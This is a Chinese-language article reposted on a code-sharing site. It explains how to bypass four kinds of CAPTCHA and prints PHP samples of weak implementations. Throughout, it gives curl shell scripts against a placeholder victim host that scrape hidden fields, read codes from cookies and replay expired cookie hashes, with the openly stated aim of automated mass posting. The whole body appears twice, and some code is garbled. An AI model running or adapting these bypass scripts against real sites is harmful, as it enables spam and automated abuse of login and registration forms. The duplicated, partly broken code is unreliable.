黑客如何破解驗證碼機制
發(fā)布日期:2022-01-15 19:16 | 文章來源:源碼之家
所謂驗證碼,就是將一串隨機產(chǎn)生的數(shù)字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗證碼信息。
輸入表單提交網(wǎng)站驗證,驗證成功后才能使用某項功能。不少網(wǎng)站為了防止用戶利用機器人自動注冊、登錄、灌水,都采用了 驗證碼技術(shù)。 很多驗證碼實現(xiàn)都有問題。比如直接給出用驗證碼在網(wǎng)頁和cookies中。 驗證碼在網(wǎng)頁中的例子: CODE: <?
/*
*Filename: authpage.php
*Author:hutuworm
*Date:2003-04-28
*@Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗證用戶輸入是否和驗證碼一致
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "驗證成功!";
else
echo "驗證失??!";
}
//生成新的四位整數(shù)驗證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗證" value="提交驗證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網(wǎng)頁中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點,把驗證碼值存放在用戶Cookies中。可是由于Cookies是用戶可讀可寫,所以也極易被突破。 CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗證碼登陸 [Copy to clipboard] 更高級的驗證碼。(好像本論壇的就是這種。。。。) 有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法: 1、服務器生成一個隨機hash。
2、使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字,再轉(zhuǎn)化成圖片。
3、hash在cookie中被發(fā)送到客戶端
4、客戶以圖片輸入驗證碼,進行登錄。服務器檢查f(hash)=驗證碼。 特點:因為攻擊者不明白服務器所使用的驗證碼編碼算法,所以無法對服務器轉(zhuǎn)來的hash進行直接解析。 對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務器一次特定的cookies,將其對應驗證碼記下。在每次發(fā)送驗證消息時 ,強行扔掉服務器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務器上下載一張驗證碼圖片: curl http://www.victim.org/get_code.php -c cookie -o auth.png 人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。 機器人突破驗證時,扔掉服務器給的hash,強制使用$savecookie和$authnum進行突破 CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務器給你的hash
echo "[url]www.victim.org[/url]FALSE/FALSE0hash$savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過期驗證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard] 最高級的驗證碼。 它使用如下方法: 1、服務器通過用戶相關(guān)信息(IP,SID等等)生成一個隨機hash。
2、使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字。
3、hash不再發(fā)送給客戶端。它被保存到本地數(shù)據(jù)庫(通常是SESSIONS,有關(guān)用戶IP等信息),并由一個序列號seq所指向。(這個seq也可以是session id)
4、seq被作為cookies發(fā)送給客戶端。
5、客戶以圖片輸入驗證碼。
6、服務器驗證方法:服務器并不檢查f(hash)==驗證碼,而是去讀取數(shù)據(jù)庫中期望的驗證碼。。如果用戶輸入與期望值相同,則驗證成功。有些服務器可能還會seq與session id之間的關(guān)系進行驗繼續(xù)進行驗證。
7、一旦用戶進行了驗證操作或重新獲取驗證碼,而是服務器將對數(shù)據(jù)庫中的hash值替換成新的,老值失效過期。 特點: ×過期:由于服務器只期望保存在當前數(shù)據(jù)庫中的驗證碼,所以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點: OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反復請求,導致某些用戶無法進行正常驗證) 對付這種驗證碼我沒有什么好的方法,簡便的方法就是自行下載驗證碼,并給用戶顯示后登陸。這種適用只驗證一次的場合。如登陸時驗證。 CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗證碼:
read valid_number # 輸入驗證碼
# 登陸,并進行某種自動化操作,如瘋狂灌水。
輸入表單提交網(wǎng)站驗證,驗證成功后才能使用某項功能。不少網(wǎng)站為了防止用戶利用機器人自動注冊、登錄、灌水,都采用了 驗證碼技術(shù)。 很多驗證碼實現(xiàn)都有問題。比如直接給出用驗證碼在網(wǎng)頁和cookies中。 驗證碼在網(wǎng)頁中的例子: CODE: <?
/*
*Filename: authpage.php
*Author:hutuworm
*Date:2003-04-28
*@Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗證用戶輸入是否和驗證碼一致
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "驗證成功!";
else
echo "驗證失??!";
}
//生成新的四位整數(shù)驗證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗證" value="提交驗證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網(wǎng)頁中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點,把驗證碼值存放在用戶Cookies中。可是由于Cookies是用戶可讀可寫,所以也極易被突破。 CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗證碼登陸 [Copy to clipboard] 更高級的驗證碼。(好像本論壇的就是這種。。。。) 有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法: 1、服務器生成一個隨機hash。
2、使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字,再轉(zhuǎn)化成圖片。
3、hash在cookie中被發(fā)送到客戶端
4、客戶以圖片輸入驗證碼,進行登錄。服務器檢查f(hash)=驗證碼。 特點:因為攻擊者不明白服務器所使用的驗證碼編碼算法,所以無法對服務器轉(zhuǎn)來的hash進行直接解析。 對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務器一次特定的cookies,將其對應驗證碼記下。在每次發(fā)送驗證消息時 ,強行扔掉服務器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務器上下載一張驗證碼圖片: curl http://www.victim.org/get_code.php -c cookie -o auth.png 人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。 機器人突破驗證時,扔掉服務器給的hash,強制使用$savecookie和$authnum進行突破 CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務器給你的hash
echo "[url]www.victim.org[/url]FALSE/FALSE0hash$savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過期驗證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard] 最高級的驗證碼。 它使用如下方法: 1、服務器通過用戶相關(guān)信息(IP,SID等等)生成一個隨機hash。
2、使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字。
3、hash不再發(fā)送給客戶端。它被保存到本地數(shù)據(jù)庫(通常是SESSIONS,有關(guān)用戶IP等信息),并由一個序列號seq所指向。(這個seq也可以是session id)
4、seq被作為cookies發(fā)送給客戶端。
5、客戶以圖片輸入驗證碼。
6、服務器驗證方法:服務器并不檢查f(hash)==驗證碼,而是去讀取數(shù)據(jù)庫中期望的驗證碼。。如果用戶輸入與期望值相同,則驗證成功。有些服務器可能還會seq與session id之間的關(guān)系進行驗繼續(xù)進行驗證。
7、一旦用戶進行了驗證操作或重新獲取驗證碼,而是服務器將對數(shù)據(jù)庫中的hash值替換成新的,老值失效過期。 特點: ×過期:由于服務器只期望保存在當前數(shù)據(jù)庫中的驗證碼,所以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點: OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反復請求,導致某些用戶無法進行正常驗證) 對付這種驗證碼我沒有什么好的方法,簡便的方法就是自行下載驗證碼,并給用戶顯示后登陸。這種適用只驗證一次的場合。如登陸時驗證。 CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗證碼:
read valid_number # 輸入驗證碼
# 登陸,并進行某種自動化操作,如瘋狂灌水。
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章